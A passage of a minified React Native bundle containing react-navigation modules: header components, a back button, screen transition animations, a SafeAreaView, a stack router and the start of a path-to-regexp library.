k=s.StyleSheet.create({container:babelHelpers.extends({backgroundColor:\"ios\"===s.Platform.OS?\"#F7F7F7\":\"#FFF\"},_),appBar:{flex:1},header:{flexDirection:\"row\"},item:{justifyContent:\"center\",alignItems:\"center\",backgroundColor:\"transparent\"},title:{bottom:0,left:v,right:v,top:0,position:\"absolute\",alignItems:\"ios\"===s.Platform.OS?\"center\":\"flex-start\"},left:{left:0,bottom:0,top:0,position:\"absolute\"},right:{right:0,bottom:0,top:0,position:\"absolute\"}});n.default=(0,g.default)(S)},318);\n__d(function(e,t,r,l){Object.defineProperty(l,\"__esModule\",{value:!0});var i=t(52),a=babelHelpers.interopRequireWildcard(i),o=t(12),n=o.Animated.Text,s=function(e){var t=e.style,r=babelHelpers.objectWithoutProperties(e,[\"style\"]);return a.createElement(n,babelHelpers.extends({numberOfLines:1},r,{style:[b.title,t],accessibilityTraits:\"header\"}))},b=o.StyleSheet.create({title:{fontSize:\"ios\"===o.Platform.OS?17:20,fontWeight:\"ios\"===o.Platform.OS?\"600\":\"500\",color:\"rgba(0, 0, 0, .9)\",textAlign:\"ios\"===o.Platform.OS?\"center\":\"left\",marginHorizontal:16}});l.default=s},319);\n__d(function(e,t,i,r){Object.defineProperty(r,\"__esModule\",{value:!0});var a=t(52),n=babelHelpers.interopRequireWildcard(a),o=t(12),l=t(321),s=babelHelpers.interopRequireDefault(l),c=function(e){function i(){var e,t,r,a;babelHelpers.classCallCheck(this,i);for(var n=arguments.length,o=Array(n),l=0;l<n;l++)o[l]=arguments[l];return t=r=babelHelpers.possibleConstructorReturn(this,(e=i.__proto__||Object.getPrototypeOf(i)).call.apply(e,[this].concat(o))),r.state={},r._onTextLayout=function(e){r.state.initialTextWidth||r.setState({initialTextWidth:e.nativeEvent.layout.x+e.nativeEvent.layout.width})},a=t,babelHelpers.possibleConstructorReturn(r,a)}return babelHelpers.inherits(i,e),babelHelpers.createClass(i,[{key:\"render\",value:function(){var e=this.props,i=e.onPress,r=e.pressColorAndroid,a=e.width,l=e.title,c=e.titleStyle,d=e.tintColor,b=e.truncatedTitle,h=!(!this.state.initialTextWidth||!a)&&this.state.initialTextWidth>a,p=h?b:l,f=t(322);return n.createElement(s.default,{accessibilityComponentType:\"button\",accessibilityLabel:p,accessibilityTraits:\"button\",testID:\"header-back\",delayPressIn:0,onPress:i,pressColor:r,style:u.container,borderless:!0},n.createElement(o.View,{style:u.container},n.createElement(o.Image,{style:[u.icon,!!l&&u.iconWithTitle,!!d&&{tintColor:d}],source:f}),\"ios\"===o.Platform.OS&&l&&n.createElement(o.Text,{onLayout:this._onTextLayout,style:[u.title,!!d&&{color:d},c],numberOfLines:1},p)))}}]),i}(n.PureComponent);c.defaultProps={pressColorAndroid:\"rgba(0, 0, 0, .32)\",tintColor:o.Platform.select({ios:\"#037aff\"}),truncatedTitle:\"Back\"};var u=o.StyleSheet.create({container:{alignItems:\"center\",flexDirection:\"row\",backgroundColor:\"transparent\"},title:{fontSize:17,paddingRight:10},icon:\"ios\"===o.Platform.OS?{height:21,width:13,marginLeft:10,marginRight:22,marginVertical:12,resizeMode:\"contain\",transform:[{scaleX:o.I18nManager.isRTL?-1:1}]}:{height:24,width:24,margin:16,resizeMode:\"contain\",transform:[{scaleX:o.I18nManager.isRTL?-1:1}]},iconWithTitle:\"ios\"===o.Platform.OS?{marginRight:5}:{}});r.default=c},320);\n__d(function(e,r,t,l){Object.defineProperty(l,\"__esModule\",{value:!0});var s=r(52),o=babelHelpers.interopRequireWildcard(s),a=r(12),p=21,i=function(e){function r(){return babelHelpers.classCallCheck(this,r),babelHelpers.possibleConstructorReturn(this,(r.__proto__||Object.getPrototypeOf(r)).apply(this,arguments))}return babelHelpers.inherits(r,e),babelHelpers.createClass(r,[{key:\"render\",value:function(){if(\"android\"===a.Platform.OS&&a.Platform.Version>=p){var e=this.props,r=e.style,t=babelHelpers.objectWithoutProperties(e,[\"style\"]);return o.createElement(a.TouchableNativeFeedback,babelHelpers.extends({},t,{style:null,background:a.TouchableNativeFeedback.Ripple(this.props.pressColor||\"\",this.props.borderless||!1)}),o.createElement(a.View,{style:r},o.Children.only(this.props.children)))}return o.createElement(a.TouchableOpacity,this.props,this.props.children)}}]),r}(o.Component);i.defaultProps={borderless:!1,pressColor:\"rgba(0, 0, 0, .32)\"},l.default=i},321);\n__d(function(e,s,a,t){a.exports=s(154).registerAsset({__packager_asset:!0,httpServerLocation:\"/assets/node_modules/react-navigation/src/views/assets\",width:13,height:21,scales:[1,1.5,2,3,4],hash:\"23ea5876dd37198284f126df9ba165c8\",name:\"back-icon\",type:\"png\"})},322);\n__d(function(t,e,n,a){function r(t){var e=t.position,n=t.scene,a=(t.scenes,(0,f.default)(t));if(!a)return{opacity:0};var r=a.first,i=a.last,o=n.index;return{opacity:e.interpolate({inputRange:[r,r+Math.abs(o-r)/2,o,i-Math.abs(i-o)/2,i],outputRange:[0,0,1,0,0]})}}function i(t){var e=t.position,n=t.scene,a=(0,f.default)(t);if(!a)return{opacity:0};var r=a.first,i=a.last,o=n.index,p=[r,o,i];return{opacity:e.interpolate({inputRange:p,outputRange:[0,1,0]}),transform:[{translateX:e.interpolate({inputRange:p,outputRange:u.I18nManager.isRTL?[-200,0,200]:[200,0,-200]})}]}}function o(t){var e=t.position,n=t.scene,a=(0,f.default)(t);if(!a)return{opacity:0};var r=a.first,i=a.last,o=n.index;return{opacity:e.interpolate({inputRange:[r,o,i],outputRange:[0,1,0]})}}Object.defineProperty(a,\"__esModule\",{value:!0});var u=e(12),p=e(324),f=babelHelpers.interopRequireDefault(p);a.default={forLeft:r,forCenter:i,forRight:o}},323);\n__d(function(n,e,t,i){function r(n){var e=n.scene,t=n.scenes,i=e.index,r=t.length-1,s=!t[r].isActive;if(s){var f=t.findIndex(function(n){return n===e}),u=t.findIndex(function(n){return n.isActive}),a=t[u].index,d=t[r].index;return i!==a&&f===r?{first:Math.min(a,i-1),last:i+1}:i===a&&f===u?{first:i-1,last:Math.max(d,i+1)}:i===a||f>u?null:{first:i-1,last:i+1}}return{first:i-1,last:i+1}}Object.defineProperty(i,\"__esModule\",{value:!0}),i.default=r},324);\n__d(function(e,t,i,n){Object.defineProperty(n,\"__esModule\",{value:!0});var o=t(52),a=babelHelpers.interopRequireDefault(o),r=t(12),d=t(326),s=babelHelpers.interopRequireDefault(d),p=r.DeviceInfo.isIPhoneX_deprecated,c=375,l=812,u=768,g=r.Dimensions.get(\"window\"),h=g.height,f=g.width,v=r.NativeModules.PlatformConstants,b=void 0===v?{}:v,m=b.reactNativeVersion||{},y=m.minor,w=void 0===y?0:y,_=function(){return w>=50?p:\"ios\"===r.Platform.OS&&(h===l&&f===c||h===c&&f===l)}(),L=function(){return\"ios\"===r.Platform.OS&&!_&&(!(h>f&&f<u)&&!(f>h&&h<u))}(),R=function(e){return _?e?0:44:L?20:e?0:20},S=function(e){if(!e.includes(\"%\"))return 0;var t=parseFloat(e)/100;return isNaN(t)?0:t},H=function(e){function t(){var e,i,n,o;babelHelpers.classCallCheck(this,t);for(var a=arguments.length,d=Array(a),s=0;s<a;s++)d[s]=arguments[s];return i=n=babelHelpers.possibleConstructorReturn(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(d))),n.state={touchesTop:!0,touchesBottom:!0,touchesLeft:!0,touchesRight:!0,orientation:null,viewWidth:0,viewHeight:0},n._onLayout=function(){if(n.view){var e=n.props.isLandscape,t=n.state.orientation,i=e?\"landscape\":\"portrait\";if(!t||t!==i){var o=e?l:c,a=e?c:l;n.view.measureInWindow(function(e,t,r,d){var s=t,p=e;s>=a?s%=a:s<0&&(s=s%a+a),p>=o?p%=o:p<0&&(p=p%o+o);var c=0===s,l=s+d>=a,u=0===p,g=p+r>=o;n.setState({touchesTop:c,touchesBottom:l,touchesLeft:u,touchesRight:g,orientation:i,viewWidth:r,viewHeight:d})})}}},n._getSafeAreaStyle=function(){var e=n.state,t=e.touchesTop,i=e.touchesBottom,o=e.touchesLeft,a=e.touchesRight,r=n.props,d=r.forceInset,s=(r.isLandscape,n._getViewStyles()),p=s.paddingTop,c=s.paddingBottom,l=s.paddingLeft,u=s.paddingRight,g=s.viewStyle,h=babelHelpers.extends({},g,{paddingTop:t?n._getInset(\"top\"):0,paddingBottom:i?n._getInset(\"bottom\"):0,paddingLeft:o?n._getInset(\"left\"):0,paddingRight:a?n._getInset(\"right\"):0});return d&&Object.keys(d).forEach(function(e){var t=d[e];switch(\"always\"===t&&(t=n._getInset(e)),\"never\"===t&&(t=0),e){case\"horizontal\":h.paddingLeft=t,h.paddingRight=t;break;case\"vertical\":h.paddingTop=t,h.paddingBottom=t;break;case\"left\":case\"right\":case\"top\":case\"bottom\":var i=\"padding\"+e[0].toUpperCase()+e.slice(1);h[i]=t}}),h.height&&\"number\"==typeof h.height&&(h.height+=h.paddingTop+h.paddingBottom),h.width&&\"number\"==typeof h.width&&(h.width+=h.paddingLeft+h.paddingRight),h.paddingTop+=p,h.paddingBottom+=c,h.paddingLeft+=l,h.paddingRight+=u,h},n._getViewStyles=function(){var e=n.state.viewWidth,t=r.StyleSheet.flatten(n.props.style||{}),i=t.padding,o=void 0===i?0:i,a=t.paddingVertical,d=void 0===a?o:a,s=t.paddingHorizontal,p=void 0===s?o:s,c=t.paddingTop,l=void 0===c?d:c,u=t.paddingBottom,g=void 0===u?d:u,h=t.paddingLeft,f=void 0===h?p:h,v=t.paddingRight,b=void 0===v?p:v,m=babelHelpers.objectWithoutProperties(t,[\"padding\",\"paddingVertical\",\"paddingHorizontal\",\"paddingTop\",\"paddingBottom\",\"paddingLeft\",\"paddingRight\"]);return\"number\"!=typeof l&&(l=S(l)*e),\"number\"!=typeof g&&(g=S(g)*e),\"number\"!=typeof f&&(f=S(f)*e),\"number\"!=typeof b&&(b=S(b)*e),{paddingTop:l,paddingBottom:g,paddingLeft:f,paddingRight:b,viewStyle:m}},n._getInset=function(e){var t=n.props.isLandscape;switch(e){case\"horizontal\":case\"right\":case\"left\":return t&&_?44:0;case\"vertical\":case\"top\":return R(t);case\"bottom\":return _?t?24:34:0}},o=i,babelHelpers.possibleConstructorReturn(n,o)}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"componentDidMount\",value:function(){var e=this;r.InteractionManager.runAfterInteractions(function(){e._onLayout()})}},{key:\"componentWillReceiveProps\",value:function(){this._onLayout()}},{key:\"render\",value:function(){var e=this,t=this.props,i=(t.forceInset,t.isLandscape,t.children,t.style);if(\"ios\"!==r.Platform.OS)return a.default.createElement(r.View,{style:i},this.props.children);var n=this._getSafeAreaStyle();return a.default.createElement(r.View,{ref:function(t){return e.view=t},onLayout:this._onLayout,style:n},this.props.children)}}]),t}(o.Component);n.default=(0,s.default)(H)},325);\n__d(function(e,n,t,i){Object.defineProperty(i,\"__esModule\",{value:!0}),i.isOrientationLandscape=void 0,i.default=function(e){var n=function(n){function i(){babelHelpers.classCallCheck(this,i);var e=babelHelpers.possibleConstructorReturn(this,(i.__proto__||Object.getPrototypeOf(i)).call(this));t.call(e);var n=u(s.Dimensions.get(\"window\"));return e.state={isLandscape:n},e}return babelHelpers.inherits(i,n),babelHelpers.createClass(i,[{key:\"componentDidMount\",value:function(){s.Dimensions.addEventListener(\"change\",this.handleOrientationChange)}},{key:\"componentWillUnmount\",value:function(){s.Dimensions.removeEventListener(\"change\",this.handleOrientationChange)}},{key:\"render\",value:function(){return r.createElement(e,babelHelpers.extends({},this.props,this.state))}}]),i}(r.Component),t=function(){var e=this;this.handleOrientationChange=function(n){var t=n.window,i=u(t);e.setState({isLandscape:i})}};return(0,l.default)(n,e)};var a=n(52),r=babelHelpers.interopRequireWildcard(a),s=n(12),o=n(327),l=babelHelpers.interopRequireDefault(o),u=i.isOrientationLandscape=function(e){var n=e.width,t=e.height;return n>t}},326);\n__d(function(t,e,r,o){\"use strict\";var n={childContextTypes:!0,contextTypes:!0,defaultProps:!0,displayName:!0,getDefaultProps:!0,mixins:!0,propTypes:!0,type:!0},p={name:!0,length:!0,prototype:!0,caller:!0,callee:!0,arguments:!0,arity:!0},a=Object.defineProperty,c=Object.getOwnPropertyNames,s=Object.getOwnPropertySymbols,y=Object.getOwnPropertyDescriptor,i=Object.getPrototypeOf,f=i&&i(Object);r.exports=function t(e,r,o){if(\"string\"!=typeof r){if(f){var l=i(r);l&&l!==f&&t(e,l,o)}var O=c(r);s&&(O=O.concat(s(r)));for(var g=0;g<O.length;++g){var u=O[g];if(!(n[u]||p[u]||o&&o[u])){var b=y(r,u);try{a(e,u,b)}catch(t){}}}return e}return e}},327);\n__d(function(e,t,r,n){Object.defineProperty(n,\"__esModule\",{value:!0});var i=t(52),o=babelHelpers.interopRequireWildcard(i),a=t(111),l=babelHelpers.interopRequireDefault(a),s=function(e){function t(){return babelHelpers.classCallCheck(this,t),babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"getChildContext\",value:function(){return{navigation:this.props.navigation}}},{key:\"render\",value:function(){var e=this.props,t=e.screenProps,r=e.navigation,n=e.component;return o.createElement(n,{screenProps:t,navigation:r})}}]),t}(o.PureComponent);s.childContextTypes={navigation:l.default.object.isRequired},n.default=s},328);\n__d(function(n,e,t,i){function o(n,e,t){return\"android\"===a.Platform.OS?e&&n.index<e.index?c:f:t?g:u}function r(n,e,t,i){var r=o(e,t,i);return n?babelHelpers.extends({},r,n(e,t,i)):r}Object.defineProperty(i,\"__esModule\",{value:!0});var a=e(12),d=e(330),l=babelHelpers.interopRequireDefault(d),s={duration:500,easing:a.Easing.bezier(.2833,.99,.31833,.99),timing:a.Animated.timing},u={transitionSpec:s,screenInterpolator:l.default.forHorizontal,containerStyle:{backgroundColor:\"#000\"}},g={transitionSpec:s,screenInterpolator:l.default.forVertical,containerStyle:{backgroundColor:\"#000\"}},f={transitionSpec:{duration:350,easing:a.Easing.out(a.Easing.poly(5)),timing:a.Animated.timing},screenInterpolator:l.default.forFadeFromBottomAndroid},c={transitionSpec:{duration:230,easing:a.Easing.in(a.Easing.poly(4)),timing:a.Animated.timing},screenInterpolator:l.default.forFadeFromBottomAndroid};i.default={defaultTransitionConfig:o,getTransitionConfig:r}},329);\n__d(function(t,e,a,n){function r(t){var e=t.navigation,a=t.scene,n=e.state.index===a.index,r=n?1:0,i=n?0:1e6;return{opacity:r,transform:[{translateX:i},{translateY:i}]}}function i(t){var e=t.layout,a=t.position,n=t.scene;if(!e.isMeasured)return r(t);var i=(0,c.default)(t);if(!i)return{opacity:0};var o=i.first,u=i.last,s=n.index,p=a.interpolate({inputRange:[o,o+.01,s,u-.01,u],outputRange:[0,1,1,.85,0]}),f=e.initWidth,d=a.interpolate({inputRange:[o,s,u],outputRange:l.I18nManager.isRTL?[-f,0,.3*f]:[f,0,f*-.3]}),v=0;return{opacity:p,transform:[{translateX:d},{translateY:v}]}}function o(t){var e=t.layout,a=t.position,n=t.scene;if(!e.isMeasured)return r(t);var i=(0,c.default)(t);if(!i)return{opacity:0};var o=i.first,u=i.last,s=n.index,p=a.interpolate({inputRange:[o,o+.01,s,u-.01,u],outputRange:[0,1,1,.85,0]}),l=e.initHeight,f=a.interpolate({inputRange:[o,s,u],outputRange:[l,0,0]}),d=0;return{opacity:p,transform:[{translateX:d},{translateY:f}]}}function u(t){var e=t.layout,a=t.position,n=t.scene;if(!e.isMeasured)return r(t);var i=(0,c.default)(t);if(!i)return{opacity:0};var o=i.first,u=i.last,s=n.index,p=[o,s,u-.01,u],l=a.interpolate({inputRange:p,outputRange:[0,1,1,0]}),f=a.interpolate({inputRange:p,outputRange:[50,0,0,0]}),d=0;return{opacity:l,transform:[{translateX:d},{translateY:f}]}}function s(t){var e=t.layout,a=t.position,n=t.scene;if(!e.isMeasured)return r(t);var i=(0,c.default)(t);if(!i)return{opacity:0};var o=i.first,u=i.last,s=n.index,p=a.interpolate({inputRange:[o,s,u],outputRange:[0,1,1]});return{opacity:p}}function p(){return!0}Object.defineProperty(n,\"__esModule\",{value:!0});var l=e(12),f=e(324),c=babelHelpers.interopRequireDefault(f);n.default={forHorizontal:i,forVertical:o,forFadeFromBottomAndroid:u,forFade:s,canUseNativeDriver:p}},330);\n__d(function(t,n,e,i){function s(t,n){var e=t.navigation,i=n.layout,s=n.position,a=n.progress,r=n.scenes,u=r.find(o);return(0,d.default)(u,\"Could not find active scene\"),{layout:i,navigation:e,position:s,progress:a,scenes:r,scene:u,index:u.index}}function a(t){return!t.isStale}function o(t){return t.isActive}Object.defineProperty(i,\"__esModule\",{value:!0});var r=n(52),u=babelHelpers.interopRequireWildcard(r),l=n(12),p=n(308),d=babelHelpers.interopRequireDefault(p),h=n(332),_=babelHelpers.interopRequireDefault(h),c={duration:250,easing:l.Easing.inOut(l.Easing.ease),timing:l.Animated.timing},v=function(t){function n(t,e){babelHelpers.classCallCheck(this,n);var i=babelHelpers.possibleConstructorReturn(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,t,e)),a={height:new l.Animated.Value(0),initHeight:0,initWidth:0,isMeasured:!1,width:new l.Animated.Value(0)};return i.state={layout:a,position:new l.Animated.Value(i.props.navigation.state.index),progress:new l.Animated.Value(1),scenes:(0,_.default)([],i.props.navigation.state)},i._prevTransitionProps=null,i._transitionProps=s(t,i.state),i._isMounted=!1,i._isTransitionRunning=!1,i._queuedTransition=null,i}return babelHelpers.inherits(n,t),babelHelpers.createClass(n,[{key:\"componentWillMount\",value:function(){this._onLayout=this._onLayout.bind(this),this._onTransitionEnd=this._onTransitionEnd.bind(this)}},{key:\"componentDidMount\",value:function(){this._isMounted=!0}},{key:\"componentWillUnmount\",value:function(){this._isMounted=!1}},{key:\"componentWillReceiveProps\",value:function(t){var n=(0,_.default)(this.state.scenes,t.navigation.state,this.props.navigation.state);if(n!==this.state.scenes){var e=t.navigation.state.index!==this.props.navigation.state.index;return this._isTransitionRunning?void(this._queuedTransition={nextProps:t,nextScenes:n,indexHasChanged:e}):void this._startTransition(t,n,e)}}},{key:\"_startTransition\",value:function(t,n,e){var i=this,a=babelHelpers.extends({},this.state,{scenes:n}),o=a.position,r=a.progress;r.setValue(0),this._prevTransitionProps=this._transitionProps,this._transitionProps=s(t,a);var u=t.configureTransition?t.configureTransition(this._transitionProps,this._prevTransitionProps):null,p=babelHelpers.extends({},c,u),d=p.timing;delete p.timing;var h=t.navigation.state.index,_=o.__getValue()!==h,v=e&&_?[d(r,babelHelpers.extends({},p,{toValue:1})),d(o,babelHelpers.extends({},p,{toValue:t.navigation.state.index}))]:[];this._isTransitionRunning=!0,this.setState(a,function(){t.onTransitionStart&&t.onTransitionStart(i._transitionProps,i._prevTransitionProps),l.Animated.parallel(v).start(i._onTransitionEnd)})}},{key:\"render\",value:function(){return u.createElement(l.View,{onLayout:this._onLayout,style:[g.main]},this.props.render(this._transitionProps,this._prevTransitionProps))}},{key:\"_onLayout\",value:function(t){var n=t.nativeEvent.layout,e=n.height,i=n.width;if(this.state.layout.initWidth!==i||this.state.layout.initHeight!==e){var a=babelHelpers.extends({},this.state.layout,{initHeight:e,initWidth:i,isMeasured:!0});a.height.setValue(e),a.width.setValue(i);var o=babelHelpers.extends({},this.state,{layout:a});this._transitionProps=s(this.props,o),this.setState(o)}}},{key:\"_onTransitionEnd\",value:function(){var t=this;if(this._isMounted){var n=this._prevTransitionProps;this._prevTransitionProps=null;var e=babelHelpers.extends({},this.state,{scenes:this.state.scenes.filter(a)});this._transitionProps=s(this.props,e),this.setState(e,function(){t.props.onTransitionEnd&&t.props.onTransitionEnd(t._transitionProps,n),t._queuedTransition?(t._startTransition(t._queuedTransition.nextProps,t._queuedTransition.nextScenes,t._queuedTransition.indexHasChanged),t._queuedTransition=null):t._isTransitionRunning=!1})}}}]),n}(u.Component),g=l.StyleSheet.create({main:{flex:1}});i.default=v},331);\n__d(function(e,t,n,i){function r(e,t){var n=e.length-t.length;return n>0?1:n<0?-1:e>t?1:-1}function a(e,t){return e.index>t.index?1:e.index<t.index?-1:r(e.key,t.key)}function u(e,t){return e.key===t.key&&e.index===t.index&&e.isStale===t.isStale&&e.isActive===t.isActive&&o(e.route,t.route)}function o(e,t){return e&&t?e.key===t.key&&(0,d.default)(e,t):e===t}function s(e,t,n){if(n===t)return e;var i=new Map,r=new Map,o=new Map;e.forEach(function(e){var t=e.key;e.isStale&&o.set(t,e),i.set(t,e)});var s=new Set;t.routes.forEach(function(e,t){var n=h+e.key,i={index:t,isActive:!1,isStale:!1,key:n,route:e};(0,c.default)(!s.has(n),\"navigation.state.routes[\"+t+'].key \"'+n+'\" conflicts with another route!'),s.add(n),o.has(n)&&o.delete(n),r.set(n,i)}),n&&n.routes.forEach(function(e,t){var n=h+e.key;r.has(n)||o.set(n,{index:t,isActive:!1,isStale:!0,key:n,route:e})});var l=[],f=function(e){var t=e.key,n=i.has(t)?i.get(t):null;n&&u(n,e)?l.push(n):l.push(e)};o.forEach(f),r.forEach(f),l.sort(a);var d=0;return l.forEach(function(e,n){var i=!e.isStale&&e.index===t.index;i!==e.isActive&&(l[n]=babelHelpers.extends({},e,{isActive:i})),i&&d++}),(0,c.default)(1===d,\"there should always be only one scene active, not %s.\",d),l.length!==e.length?l:l.some(function(t,n){return!u(e[n],t)})?l:e}Object.defineProperty(i,\"__esModule\",{value:!0}),i.default=s;var l=t(308),c=babelHelpers.interopRequireDefault(l),f=t(333),d=babelHelpers.interopRequireDefault(f),h=\"scene_\"},332);\n__d(function(t,e,r,n){\"use strict\";function o(t,e){return t===e?0!==t||0!==e||1/t===1/e:t!==t&&e!==e}function u(t,e){if(o(t,e))return!0;if(\"object\"!=typeof t||null===t||\"object\"!=typeof e||null===e)return!1;var r=Object.keys(t),n=Object.keys(e);if(r.length!==n.length)return!1;for(var u=0;u<r.length;u++)if(!c.call(e,r[u])||!o(t[r[u]],e[r[u]]))return!1;return!0}var c=Object.prototype.hasOwnProperty;r.exports=u},333);\n__d(function(e,t,r,a){function n(){return g+\"-\"+x++}Object.defineProperty(a,\"__esModule\",{value:!0});var u=t(335),o=babelHelpers.interopRequireDefault(u),i=t(306),l=babelHelpers.interopRequireDefault(i),s=t(337),f=babelHelpers.interopRequireDefault(s),p=t(338),d=babelHelpers.interopRequireDefault(p),b=t(309),m=babelHelpers.interopRequireDefault(b),c=t(340),v=babelHelpers.interopRequireDefault(c),y=t(341),A=babelHelpers.interopRequireDefault(y),g=\"id-\"+Date.now(),x=0;a.default=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};(0,v.default)(e);var r={},a=Object.keys(e);a.forEach(function(t){var a=(0,d.default)(e,t);a&&a.router?r[t]=a.router:r[t]=null});var u=t.initialRouteParams,i=t.initialRouteName||a[0],s=r[i],p=t.paths||{};return a.forEach(function(t){var a=p[t]||e[t].path,n=!!a&&!r[t];\"string\"!=typeof a&&(a=t);var u=[],i=(0,o.default)(a,u);if(!n){var l=(0,o.default)(a+\"/*\",u);i=new RegExp(\"(?:\"+i.source+\")|(?:\"+l.source+\")\")}p[t]={re:i,keys:u,toPath:o.default.compile(a)}}),{getComponentForState:function(t){var a=t.routes[t.index],n=a.routeName;return r[n]?r[n].getComponentForState(a):(0,d.default)(e,n)},getComponentForRouteName:function(t){return(0,d.default)(e,t)},getStateForAction:function(e,t){if(!t){var a={};if(e.type===l.default.NAVIGATE&&void 0!==r[e.routeName])return{index:0,routes:[babelHelpers.extends({},e,{type:void 0,key:\"Init-\"+n()})]};s&&(a=s.getStateForAction(l.default.navigate({routeName:i,params:u})));var o=(a.params||e.params||u)&&babelHelpers.extends({},a.params||{},e.params||{},u||{});a=babelHelpers.extends({},a,{routeName:i,key:\"Init-\"+n()},o?{params:o}:{}),t={index:0,routes:[a]}}if(e.type!==l.default.RESET||null!==e.key){var f=e.key?m.default.indexOf(t,e.key):-1,p=f>=0?f:t.index,d=t.routes[p],b=r[d.routeName];if(b){var c=b.getStateForAction(e,d);if(null===c)return t;if(c&&c!==d)return m.default.replaceAt(t,d.key,c)}}if(e.type===l.default.NAVIGATE&&void 0!==r[e.routeName]){var v=r[e.routeName],y=void 0;if(v){var A=e.action||l.default.init({params:e.params});y=babelHelpers.extends({params:e.params},v.getStateForAction(A),{key:n(),routeName:e.routeName})}else y={params:e.params,key:n(),routeName:e.routeName};return m.default.push(t,y)}if(e.type===l.default.NAVIGATE)for(var g=Object.keys(r),x=0;x<g.length;x++){var H=g[x],k=r[H];if(k){var N=k.getStateForAction(l.default.init()),h=k.getStateForAction(e,N),S=null;if(null===h?S=N:h!==N&&(S=h),S)return m.default.push(t,babelHelpers.extends({},S,{key:n(),routeName:H}))}}if(e.type===l.default.SET_PARAMS){var F=e.key,R=t.routes.find(function(e){return e.key===F});if(R){var P=babelHelpers.extends({},R.params,e.params),E=[].concat(babelHelpers.toConsumableArray(t.routes));return E[t.routes.indexOf(R)]=babelHelpers.extends({},R,{params:P}),babelHelpers.extends({},t,{routes:E})}}if(e.type===l.default.RESET){var O=e;return babelHelpers.extends({},t,{routes:O.actions.map(function(e){var t=r[e.routeName];if(t)return babelHelpers.extends({},e,t.getStateForAction(e),{routeName:e.routeName,key:n()});var a=babelHelpers.extends({},e,{key:n()});return delete a.type,a}),index:e.index})}if(e.type===l.default.BACK){var T=e.key,D=null;if(T){var q=t.routes.find(function(e){return e.key===T});D=t.routes.indexOf(q)}if(null==D)return m.default.pop(t);if(D>0)return babelHelpers.extends({},t,{routes:t.routes.slice(0,D),index:D-1})}return t},getPathAndParamsForState:function(t){var r=t.routes[t.index],a=r.routeName,n=(0,d.default)(e,a),u=p[a].toPath(r.params),o=u,i=r.params;if(n&&n.router){var l=r,s=n.router.getPathAndParamsForState(l);o=u?u+\"/\"+s.path:s.path,i=s.params?babelHelpers.extends({},i,s.params):i}return{path:o,params:i}},getActionForPathAndParams:function(e,t){if(!e)return l.default.navigate({routeName:i});for(var a=e.split(\"?\"),n=babelHelpers.slicedToArray(a,2),u=n[0],o=n[1],s=void 0,f=void 0,d=void 0,b=Object.entries(p),m=Array.isArray(b),c=0,b=m?b:b[\"function\"==typeof Symbol?Symbol.iterator:\"@@iterator\"]();;){var v;if(m){if(c>=b.length)break;v=b[c++]}else{if(c=b.next(),c.done)break;v=c.value}var y=v,A=babelHelpers.slicedToArray(y,2),g=A[0],x=A[1],H=x.re,k=x.keys;if(f=H.exec(u),f&&f.length){d=k,s=g;break}}if(!s)return null;var N=void 0,h=o?\"?\"+o:\"\";r[s]&&(N=r[s].getActionForPathAndParams(f.slice(d.length).join(\"/\")+h));var S=t||(o||\"\").split(\"&\").reduce(function(e,t){if(\"\"!==t){var r=e||{},a=t.split(\"=\"),n=babelHelpers.slicedToArray(a,2),u=n[0],o=n[1];return r[u]=o,r}return e},null),F=f.slice(1).reduce(function(e,t,r){var a=d[r];if(a.asterisk||!a)return e;var n=e||{},u=a.name;return n[u]=t,n},S);return l.default.navigate(babelHelpers.extends({routeName:s},F?{params:F}:{},N?{action:N}:{}))},getScreenOptions:(0,f.default)(e,t.navigationOptions),getScreenConfig:A.default}}},334);\n__d(function(e,t,r,n){function i(e,t){for(var r,n=[],i=0,o=0,a=\"\",p=t&&t.delimiter||\"/\";null!=(r=w.exec(e));){var u=r[0],f=r[1],s=r.index;if(a+=e.slice(o,s),o=s+u.length,f)a+=f[1];else{var g=e[o],h=r[2],x=r[3],d=r[4],v=r[5],m=r[6],E=r[7];a&&(n.push(a),a=\"\");var y=null!=h&&null!=g&&g!==h,R=\"+\"===m||\"*\"===m,$=\"?\"===m||\"*\"===m,b=r[2]||p,T=d||v;n.push({name:x||i++,prefix:h||\"\",delimiter:b,optional:$,repeat:R,partial:y,asterisk:!!E,pattern:T?c(T):E?\".*\":\"[^\"+l(b)+\"]+?\"})}}return o<e.length&&(a+=e.substr(o)),a&&n.push(a),n}function o(e,t){return u(i(e,t))}function a(e){return encodeURI(e).replace(/[\\/?#]/g,function(e){return\"%\"+e.charCodeAt(0).toString(16).toUpperCase()})}function p(e){return encodeURI(e).replace(/[?#]/g,function(e){return\"%\"+e.charCodeAt(0).toString(16).toUpperCase()})}function u(e){for(var t=new Array(e.length),r=0;r<e.length;r++)\"object\"==typeof e[r]&&(t[r]=new RegExp(\"^(?:\"+e[r].pattern+\")$\"));return function(r,n){for(var i=\"\",o=r||{},u=n||{},l=u.pretty?a:encodeURIComponent,c=0;c<e.length;c++){var f=e[c];if(\"string\"!=typeof f){var s,g=o[f.name];if(null==g){if(f.optional){f.partial&&(i+=f.prefix);continue}throw new TypeError('Expected \"'+f.name+'\" to be defined')}if(m(g)){if(!f.repeat)throw new TypeError('Expected \"'+f.name+'\" to not repeat, but received `'+JSON.stringify(g)+\"`\");if(0===g.length){if(f.optional)continue;throw new TypeError('Expected \"'+f.name+'\" to not be empty')}for(var h=0;h<g.length;h++){if(s=l(g[h]),!t[c].test(s))throw new TypeError('Expected all \"'+f.name+'\" to match \"'+f.pattern+'\", but received `'+JSON.stringify(s)+\"`\");i+=(0===h?f.prefix:f.delimiter)+s}}else{if(s=f.asterisk?p(g):l(g),!t[c].test(s))throw new TypeError('Expected \"'+f.name+'\" to match \"'+f.pattern+'\", but received \"'+s+'\"');i+=f.prefix+s}}else i+=f}return i}}function l(e){return e.replace(/([.+*?=^!:${}()[\\]|\\/\\\\])/g,\"\\\\$1\")}function c(e){return e.replace(/([=!:$\\/()])/g,\"\\\\$1\")}function f(e,t){return e.keys=t,e}function s(e){return e.sensitive?\"\":\"i\"}function g(e,t){var r=e.source.match(/\\((?!\\?)/g);if(r)for(var n=0;n<r.length;n++)t.push({name:n,prefix:null,delimiter:null,optional:!1,repeat:!1,partial:!1,asterisk:!1,pattern:null});return 